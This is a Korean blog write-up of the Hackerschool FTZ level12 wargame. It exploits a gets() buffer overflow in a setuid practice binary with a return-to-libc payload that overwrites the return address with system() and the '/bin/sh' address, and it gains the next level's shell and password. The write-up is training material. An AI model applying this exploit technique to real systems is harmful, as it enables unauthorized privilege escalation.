Hackerschool FTZ level12

2011. 7. 28. 23:36·Wargame/FTZ

Category : System hacking

ssh://ftz.hackerschool.org
id : level12
pw : it is like this

Summary : buffer overflow on redhat 6.2


서버에 접속하여 문제 파일을 확인한다.

[level12@ftz level12]$ ls -l
합계 28
-rwsr-x---    1 level13  level12     13771  3월  8  2003 attackme
-rw-r-----    1 root     level12       204  3월  8  2003 hint
drwxr-xr-x    2 root     level12      4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level12      4096  7월 21 05:15 tmp
[level12@ftz level12]$ cat hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
 char str[256];

  setreuid( 3093, 3093 );
 printf( "문장을 입력하세요.\n" );
 gets( str );
 printf( "%s\n", str );
} 


hint 파일에는 attackme 라는 프로그램의 source가 있다.
source를 보게되면 gets함수로 인해 buffer overflow 취약점이 발생함을 할 수 있다.. level13 user의 프로그램인 attackme에는 setuid가 걸려있으므로 overflow취약점을 이용하여 level13 user의 쉘을 획득할 수 있다.

이번에는 공유라이브러리의 system함수의 주소를 return address에 덮어주고 , 인자로 공유라이브러리내에 있는 "/bin/sh"라는 문자열의 주소를 넣어주어 공격할 것이다.
우선 ,  필요한 정보들을 수집한다.

0x08048473 <main+3>: sub    $0x108,%esp

지역변수의 크기는 264byte이므로 return address를 덮기위해선 sfp 포함 268byte를 채워주어야한다.

(gdb) p system
$1 = {<text variable, no debug info>} 0x4005f430 <system>

공유라이브러리에서 "/bin/sh"라는 문자열을 찾아주는 간단한 프로그램을 작성해 실행한다.

[level12@ftz .pwn3r]$ cat whereisit.c
#include <stdio.h>

int main()
{
 long addr = 0x4005f430;
 while(memcmp((void *)addr , "/bin/sh" , 7)) addr++;
 printf("0x%x\n" , addr);
}
[level12@ftz .pwn3r]$ gcc -o whereisit whereisit.c
[level12@ftz .pwn3r]$ ./whereisit
0x4014ad24


필요한 정보를 모두 얻었으므로 공격한다.

[level12@ftz .pwn3r]$ (python -c 'print "a"*268 + "\x30\xf4\x05\x40" + "bbbb" + "\x24\xad\x14\x40"';cat) | ~/attackme
문장을 입력하세요.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0?bbbb$?@
       
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass

Level13 Password is "have no clue".


level13 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level13  (0) 2011.07.28
Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
'Wargame/FTZ' 카테고리의 다른 글
  • Hackerschool FTZ level13
  • Hackerschool FTZ level11
  • Hackerschool FTZ level10
  • Hackerschool FTZ level9
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    정보보호올림피아드
    csaw ctf
    power of community
    web
    gnuboard
    후기
    csaw
    POC
    HUST2011
    vuln
    pwnables
    HUST
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Hackerschool FTZ level12
상단으로

티스토리툴바